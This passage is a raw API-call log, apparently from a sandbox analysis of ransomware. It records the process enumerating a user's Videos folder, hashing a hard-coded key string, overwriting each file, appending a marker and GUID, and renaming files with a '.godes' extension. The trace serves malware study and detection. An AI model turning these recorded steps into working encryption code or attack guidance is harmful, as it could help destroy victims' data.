returned 0x3321120 [0114.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.410] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.410] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.410] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.410] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.410] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.410] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.410] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.410] CloseHandle (hObject=0x624) returned 1 [0114.411] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3222ff8 [0114.411] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3321120 [0114.411] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3222ff8 | out: hHeap=0x660000) returned 1 [0114.411] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\7zbK-lw.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\7zbk-lw.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\7zbK-lw.mkv.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\7zbk-lw.mkv.godes")) returned 1 [0114.412] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.412] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.413] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.413] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d62630, ftCreationTime.dwHighDateTime=0x1d4d415, ftLastAccessTime.dwLowDateTime=0xddedcee0, ftLastAccessTime.dwHighDateTime=0x1d4d1e6, ftLastWriteTime.dwLowDateTime=0xddedcee0, ftLastWriteTime.dwHighDateTime=0x1d4d1e6, nFileSizeHigh=0x0, nFileSizeLow=0x1d29, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M8EaxMEcyaid.swf", cAlternateFileName="M8EAXM~1.SWF")) returned 1 [0114.413] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.413] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0114.413] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.413] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\M8EaxMEcyaid.swf") returned=".swf" [0114.413] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\M8EaxMEcyaid.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\m8eaxmecyaid.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.413] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=7465) returned 1 [0114.413] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.415] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1d03, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.415] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.416] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.416] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1d29, lpOverlapped=0x0) returned 1 [0114.417] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.417] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.417] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.417] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740fc0) returned 1 [0114.418] CryptCreateHash (in: hProv=0x740fc0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.418] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.418] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.418] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.418] GetLastError () returned 0x0 [0114.418] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.418] CryptReleaseContext (hProv=0x740fc0, dwFlags=0x0) returned 1 [0114.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1d30) returned 0x3321120 [0114.418] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.418] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x1d24, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x1d24, lpOverlapped=0x0) returned 1 [0114.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.418] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1d29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.419] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.419] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.419] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.419] CloseHandle (hObject=0x624) returned 1 [0114.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0114.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0114.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0114.420] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\M8EaxMEcyaid.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\m8eaxmecyaid.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\M8EaxMEcyaid.swf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\m8eaxmecyaid.swf.godes")) returned 1 [0114.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.420] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.423] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b57b0, ftCreationTime.dwHighDateTime=0x1d4cc16, ftLastAccessTime.dwLowDateTime=0x5add7f40, ftLastAccessTime.dwHighDateTime=0x1d4ce09, ftLastWriteTime.dwLowDateTime=0x5add7f40, ftLastWriteTime.dwHighDateTime=0x1d4ce09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nhszPrwAyFP3", cAlternateFileName="NHSZPR~1")) returned 1 [0114.423] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3222ff8 [0114.423] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31c4458 [0114.423] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x325c330 [0114.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31c4458 | out: hHeap=0x660000) returned 1 [0114.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3222ff8 | out: hHeap=0x660000) returned 1 [0114.423] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf278700, ftCreationTime.dwHighDateTime=0x1d4d398, ftLastAccessTime.dwLowDateTime=0x8120b890, ftLastAccessTime.dwHighDateTime=0x1d4c957, ftLastWriteTime.dwLowDateTime=0x8120b890, ftLastWriteTime.dwHighDateTime=0x1d4c957, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nOWtjkGkh", cAlternateFileName="NOWTJK~1")) returned 1 [0114.423] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3222ff8 [0114.423] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31c4458 [0114.423] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x16c) returned 0x7549e0 [0114.423] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f570 [0114.423] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.423] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f6d8 [0114.423] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0114.423] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31d8608 [0114.423] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741158 [0114.423] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741268 [0114.423] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7411e0 [0114.423] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x327b4a8 [0114.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f4f8 | out: hHeap=0x660000) returned 1 [0114.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740eb0 | out: hHeap=0x660000) returned 1 [0114.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7401f0 | out: hHeap=0x660000) returned 1 [0114.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741048 | out: hHeap=0x660000) returned 1 [0114.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740f38 | out: hHeap=0x660000) returned 1 [0114.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0114.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x325c330 | out: hHeap=0x660000) returned 1 [0114.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0114.424] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321138 [0114.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31c4458 | out: hHeap=0x660000) returned 1 [0114.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3222ff8 | out: hHeap=0x660000) returned 1 [0114.424] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af54980, ftCreationTime.dwHighDateTime=0x1d4c8b1, ftLastAccessTime.dwLowDateTime=0xf142550, ftLastAccessTime.dwHighDateTime=0x1d4cc9c, ftLastWriteTime.dwLowDateTime=0xf142550, ftLastWriteTime.dwHighDateTime=0x1d4cc9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qp8C", cAlternateFileName="")) returned 1 [0114.424] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0114.424] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740f38 [0114.424] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741048 [0114.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740f38 | out: hHeap=0x660000) returned 1 [0114.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0114.424] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4106c480, ftCreationTime.dwHighDateTime=0x1d4c956, ftLastAccessTime.dwLowDateTime=0x2674310, ftLastAccessTime.dwHighDateTime=0x1d4c642, ftLastWriteTime.dwLowDateTime=0x2674310, ftLastWriteTime.dwHighDateTime=0x1d4c642, nFileSizeHigh=0x0, nFileSizeLow=0x1277c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Re_R5.swf", cAlternateFileName="")) returned 1 [0114.424] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0114.424] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0114.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0114.424] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\Re_R5.swf") returned=".swf" [0114.424] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\Re_R5.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\re_r5.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.424] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=75644) returned 1 [0114.424] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.426] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12756, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.426] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.428] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.428] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1277c, lpOverlapped=0x0) returned 1 [0114.429] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.429] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.429] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.429] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740da0) returned 1 [0114.429] CryptCreateHash (in: hProv=0x740da0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.430] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.430] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.430] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.430] GetLastError () returned 0x0 [0114.430] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.430] CryptReleaseContext (hProv=0x740da0, dwFlags=0x0) returned 1 [0114.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x12780) returned 0x3323120 [0114.430] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.430] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x12777, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x12777, lpOverlapped=0x0) returned 1 [0114.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.431] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1277c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3323120 [0114.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3323120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3323550 [0114.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.431] WriteFile (in: hFile=0x624, lpBuffer=0x3323550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3323550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323550 | out: hHeap=0x660000) returned 1 [0114.431] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.431] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.431] CloseHandle (hObject=0x624) returned 1 [0114.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3323120 [0114.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.432] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\Re_R5.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\re_r5.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\Re_R5.swf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\re_r5.swf.godes")) returned 1 [0114.433] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.433] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.434] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.434] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7e3a30, ftCreationTime.dwHighDateTime=0x1d4d55a, ftLastAccessTime.dwLowDateTime=0xed4fd870, ftLastAccessTime.dwHighDateTime=0x1d4c80d, ftLastWriteTime.dwLowDateTime=0xed4fd870, ftLastWriteTime.dwHighDateTime=0x1d4c80d, nFileSizeHigh=0x0, nFileSizeLow=0x5a2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s3BE.mp4", cAlternateFileName="")) returned 1 [0114.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0114.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0114.434] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0114.434] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\s3BE.mp4") returned=".mp4" [0114.434] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\s3BE.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\s3be.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.434] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=23086) returned 1 [0114.434] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.436] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5a08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.436] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.438] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.438] 